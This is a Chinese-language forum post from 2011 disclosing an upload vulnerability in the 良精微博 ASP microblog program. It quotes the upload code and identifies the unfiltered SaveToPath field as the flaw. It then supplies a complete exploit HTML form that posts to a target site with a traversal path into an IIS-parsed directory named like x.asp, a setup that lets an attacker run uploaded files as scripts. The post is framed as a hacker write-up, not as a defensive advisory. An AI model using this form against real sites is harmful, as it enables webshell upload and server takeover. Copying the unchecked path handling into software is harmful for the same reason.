再生缘 发表于 2011-10-13 23:17:08

良精微博IIS解析上传漏洞

By.joken's、wdlei

本人技术有限,和朋友发掘此漏洞,大牛飘过。

近日,站长下载站上的良精微博程序又更新了。

更新时间为2010年7月,更新了皮肤和修改了上传漏洞,但依旧存在漏洞问题。

漏洞文件:UpFileForm.asp
代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="Images/CssAdmin.css">
<title>文件选择</title>
</head>
<body style="background-color:#FFFFFF;">
<table width="400" border="0" align="center" cellpadding="12" cellspacing="1" bgcolor="#6ab6b6">
<form action="UpFileSave.asp?Result=<%=request.QueryString("Result")%>" method="post" enctype="multipart/form-data" name="formUpload">
<tr>
    <td bgcolor="#eafefe">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
      <td width="60" height="30" nowrap>选择文件:</td>
      <td><input name="FromFile" type="file" class="textfield" id="FromFile" size="41"></td>
      </tr>
      <tr>
      <td height="30">上传位置:</td>
      <td><select name="SaveToPath" class="textfield">
          <option value="../uploadfile/PicFiles/" selected>图片文件 /uploadfile/PicFiles</option>
          <option value="../uploadfile/DownFiles/">下载文件 /uploadfile/DownFiles</option>
          <option value="../uploadfile/OtherFiles/">其他文件 /uploadfile/OtherFiles</option>
      </select></td>
      </tr>
      <tr>
      <td height="36" colspan="2" align="center" valign="bottom"><input name="reset" type="reset" class="button" value=" 重置 ">
         <input name="Submit" type="submit" class="button" value=" 上传 "></td>
      </tr>
    </table>
      </td>
</tr>
</form>
</table>
</body>
</html>

可以自行定义上传目录。

继续往下看代码,来到action的文件中看下

../UpFileSave.asp

保存目录代码部分:

    SaveToPath=Upload.form("SaveToPath") '文件保存目录,此目录必须为程序可读写
    if SaveToPath="" then
      SaveToPath="../"
    end if
    '在目录后加(/)
    if right(SaveToPath,1)<>"/" then
      SaveToPath=SaveToPath&"/"
    end if
    for each FormName in Upload.file '列出所有上传了的文件
      set file=Upload.file(FormName) '生成一个文件对象
      if file.Filesize<100 then
      response.write "请先选择您要上传的文件,<a href=# onclick=history.go(-1)>返回</a> !"
      response.end
      end if

      FileExt=lcase(File.FileExt)
      if CheckFileExt(FileEXT)=false then
      response.write "文件格式不允许上传,<a href=# onclick=history.go(-1)>返回</a> !"
      response.end
      end if

      randomize timer
      RanNum=int(9000*rnd)+1000
      Filename=SaveToPath&year(now)&"."&month(now)&"."&day(now)&"_"&hour(now)&"."&minute(now)&"."&Second(now)&"_"&RanNum&"."&fileExt
      if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据
      Result=file.SaveToFile(Server.mappath(FileName)) '保存文件

为对所提交的目录名进行检查和过滤,导致漏洞产生。

利用如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0032)http://t.itf4.com/UpFileForm.asp -->
<HTML><HEAD><TITLE>文件选择</TITLE>
<META http-equiv=Content-Type content="text/html; charset=utf-8"><LINK href="Images/CssAdmin.css" rel=stylesheet>
<META content="MSHTML 6.00.2900.3492" name=GENERATOR></HEAD>
<BODY style="BACKGROUND-COLOR: #ffffff">
<TABLE cellSpacing=1 cellPadding=12 width=400 align=center bgColor=#6ab6b6
border=0>
<FORM name=formUpload action=http://提交地址/UpFileSave.asp?Result= method=post encType=multipart/form-data>
<TBODY>
<TR>
    <TD bgColor=#eafefe>
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
      <TBODY>
      <TR>
          <TD noWrap width=60 height=30>选择文件:</TD>
          <TD><INPUT class=textfield id=FromFile type=file size=41 name=FromFile></TD></TR>
      <TR>
          <TD height=30>上传位置:</TD>
          <TD><SELECT class=textfield name=SaveToPath> <OPTION value=../../自定义解析目录名:如x.asp selected>图片文件 /uploadfile/自定义解析目录名</OPTION>
            
      <TR>
          <TD vAlign=bottom align=middle colSpan=2 height=36><INPUT class=button type=reset value=" 重置 " name=reset>
<INPUT class=button type=submit value=" 上传 " name=Submit></TD></TR></TBODY></TABLE></TD></TR></FORM></TBODY></TABLE></BODY></HTML>

页: [1]
查看完整版本: 良精微博IIS解析上传漏洞